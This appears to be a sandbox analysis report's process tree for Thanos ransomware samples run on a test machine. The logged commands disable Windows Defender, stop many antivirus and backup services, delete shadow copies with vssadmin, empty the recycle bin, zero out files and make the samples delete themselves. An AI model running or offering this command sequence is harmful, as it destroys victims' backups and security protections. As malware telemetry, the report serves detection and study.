  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3124,i,11388035454685092074,17425510288332417359,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3152 /prefetch:1
  2⤵
  PID:4976
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3140,i,11388035454685092074,17425510288332417359,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3308 /prefetch:1
  2⤵
  PID:2004
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4832,i,11388035454685092074,17425510288332417359,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4816 /prefetch:8
  2⤵
  PID:4280
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3636,i,11388035454685092074,17425510288332417359,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3760 /prefetch:8
  2⤵
  PID:116

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:512

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4456

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Ransomware.Thanos\" -spe -an -ai#7zMap12898:96:7zEvent11329
1⤵
- Suspicious use of FindShellTrayWindow
PID:4932

C:\Users\Admin\Desktop\2377dbwhA727bebt7ezrwt7.exe
"C:\Users\Admin\Desktop\2377dbwhA727bebt7ezrwt7.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Windows security modification
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:788
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:4676
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:5172
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:4352
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:5228
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:1816
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:4288
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:992
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:5284
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:5088
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:5236
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:3428
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:5252
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:1056
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:5704
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:3676
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:5392
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:4420
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:5808
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:1852
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:5688
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:516
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:5732
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:3432
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:5744
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:2992
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:5680
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:2420
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:5564
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:3612
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:5532
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:4880
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:5556
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:4960
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:5372
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:4988
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:5836
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:2196
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:5468
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:4160
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:5544
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:4688
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:5628
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:3776
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:5724
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:1624
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:5336
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:764
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:5244
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:2536
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:5712
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:4864
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:5672
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:4612
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:5696
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:3656
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:5576
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:4512
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:5760
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:668
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:5636
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:3152
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:5484
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:5028
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:6012
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:4336
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:5936
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:1492
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:2556
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:2060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:5772
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:4532
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:5904
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:3352
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:4432
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:3348
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4768
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  PID:2260
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  PID:4440
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  PID:2684
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2100
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:2480
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1592
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:4824
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:4284
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:5056
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1004
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:3096
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:2816
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:5024
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:4136
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:4732
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:4100
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4552
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:2112
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.hta
  2⤵
  - Blocklisted process makes network request
  PID:5972
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:380
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5364
- - C:\Windows\system32\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:4724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Desktop\2377dbwhA727bebt7ezrwt7.exe
  2⤵
  PID:3436
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:5328

C:\Users\Admin\Desktop\2e7bx73r635634YXN2U92NXN9URN9Y8N3XRNY9.EXE
"C:\Users\Admin\Desktop\2e7bx73r635634YXN2U92NXN9URN9Y8N3XRNY9.EXE"
1⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- System policy modification
PID:6112
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5468
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4864
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4748
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4100
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5180
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5748
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3784
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:5476
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4592
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4832
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:5680
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5620
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:2040
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:5756
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4308
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2308
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5168
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1020
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5604
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3172
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3148
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:5956
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5392
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:6128
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1936
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2160
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1960
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2260
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5196
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1852
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3116
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2152
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:944
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:408
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:5204
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3964
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6004
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1816
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2552
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2700
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5884
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4880
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:748
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:3952
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5056
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5380
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:3032
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3968
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5684
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3108
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4548
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:6088
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5080
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:5456
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6000
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:3420
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2104
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1160
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4044
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2512
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:1772
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4464
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1784
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:3356
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:2880
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:4744
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:5904
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3520
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5620
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:448
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:5368
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:5516
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5636
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:3428
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:4512
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:2172
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:4948
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  PID:4600
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  PID:2060
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  PID:1476
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:5652
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp90B8.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5360
- C:\Windows\SysWOW64\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - System Location Discovery: System Language Discovery
  - Opens file in notepad (likely ransom note)
  PID:1696
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5764
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5852
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4512
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Desktop\2e7bx73r635634YXN2U92NXN9URN9Y8N3XRNY9.EXE
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5296
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5196
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4660

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:2556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

